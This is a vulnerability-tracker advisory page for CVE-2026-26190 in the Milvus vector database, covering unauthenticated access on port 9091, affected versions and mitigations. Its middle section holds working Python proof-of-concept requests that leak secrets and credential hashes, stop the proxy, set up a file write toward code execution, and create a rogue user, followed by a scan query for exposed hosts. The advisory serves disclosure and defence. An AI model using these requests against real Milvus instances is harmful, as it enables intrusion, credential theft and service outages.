Live › vulnerability › CVE-2026-26190
Go to dashboardMilvus, a vector database used by AI applications, exposes its REST API and a /expr debug endpoint on the metrics port 9091 without real authentication. An unauthenticated attacker can read secrets and credential hashes, create users, modify data, stop services, and possibly write files to achieve code execution.
Summary written from the sources below. Check the originals before acting.
First seen by InfraStack 2026-10-23 19:11 UTC, 5h before NVD. All times on this page are UTC.
| Product | Ecosystem | Affected | Fixed in |
|---|---|---|---|
| github.com/milvus-io/milvus | go | < 2.5.27 | 2.5.27 |
| github.com/milvus-io/milvus | go | >= 2.6.0, < 2.6.10 | 2.6.10 |
| milvus | vendor | < 2.5.27 | 2.5.27 |
| milvus | vendor | >= 2.6.0, < 2.6.10 | 2.6.10 |
2.5.27 or in 2.6.0 to below 2.6.102.5.27 or later for the 2.5 line, or 2.6.10 or later for the 2.6 lineEach row is the first time that source carried this signal. The analyst’s rows are its own findings.
Milvus exposes TCP port 9091 by default with two critical authentication bypass vulnerabilities:
/expr debug endpoint uses a weak, predictable default authentication token derived from etcd.rootPath (default: by-dev), enabling arbitrary expression evaluation./api/v1/*) is registered on the metrics/management port without any authentication, allowing unauthenticated access to all business operations including data manipulation and credential management./expr EndpointThe /expr endpoint on port 9091 accepts an auth parameter that defaults to the etcd.rootPath value (by-dev). This value is well-known and predictable. An attacker who can reach port 9091 can evaluate arbitrary internal Go expressions, leading to:
param.MinioCfg.SecretAccessKey.GetValue(), rootcoord.meta.GetCredential(ctx, 'root'), etc.proxy.Stop() to shut down the proxy service.Business-logic HTTP handlers (collection management, data insertion, credential management) are registered on the metrics/management HTTP server at port 9091 via registerHTTPServer() in internal/distributed/proxy/service.go (line 170). These endpoints do not enforce any authentication, even when Milvus authentication is enabled on the primary gRPC/HTTP ports.
An attacker can perform any business operation without credentials, including:
/expr Endpoint Exploitationimport requests
url = "http://<target>:9091/expr"
# Leak sensitive configuration (e.g., MinIO secret key)
res = requests.get(url, params={
"auth": "by-dev",
"code": "param.MinioCfg.SecretAccessKey.GetValue()"
}, timeout=5)
print(res.json().get("output", ""))
# Retrieve hashed credentials for the root user
res = requests.get(url, params={
"auth": "by-dev",
"code": "rootcoord.meta.GetCredential(ctx, 'root')"
}, timeout=5)
print(res.json().get("output", ""))
# Denial of Service — stop the proxy
res = requests.get(url, params={
"auth": "by-dev",
"code": "proxy.Stop()"
}, timeout=5)
# Arbitrary file write (potential RCE)
for cmd in [
'param.Save("proxy.accessLog.localPath", "/tmp")',
'param.Save("proxy.accessLog.formatters.base.format", "whoami")',
'param.Save("proxy.accessLog.filename", "evil.sh")',
'querycoord.etcdCli.KV.Put(ctx, "by-dev/config/proxy/accessLog/enable", "true")'
]:
requests.get(url, params={"auth": "by-dev", "code": cmd}, timeout=5)
import requests
target_url = "http://<target>:9091"
# Create a user without any authentication
res = requests.post(f"{target_url}/api/v1/credential", json={
"username": "attacker_user",
"password": "MTIzNDU2Nzg5",
})
print(res.json())
# List all users
res = requests.get(f"{target_url}/api/v1/credential/users")
print(res.json()) # {'status': {}, 'usernames': ['root', 'attacker_user']}
# Create and delete collections, insert data — all without authentication
A significant number of publicly exposed Milvus instances are discoverable via internet-wide scanning using the pattern:
http.body="404 page not found" && port="9091"
This indicates the vulnerability is actively exploitable in real-world production environments.
An unauthenticated remote attacker with network access to port 9091 can:
/expr endpoint in production builds. If retained for debugging, it must require strong, non-default authentication and be disabled by default.127.0.0.1:9091) so it is not externally accessible unless explicitly configured.etcd.rootPath from the default value by-dev to a strong, random value (partial mitigation only — does not address the unauthenticated REST API).This vulnerability was discovered and responsibly reported by YingLin Xie ([email protected]). It was independently reported by 0x1f and zznQ (ac0d3r).
This page as .md · .json · in your agent: get_signal("CVE-2026-26190")
GitHub Advisory Database, CC-BY 4.0 · NVD data is provided by NIST and is public domain. Posts quoted belong to their authors.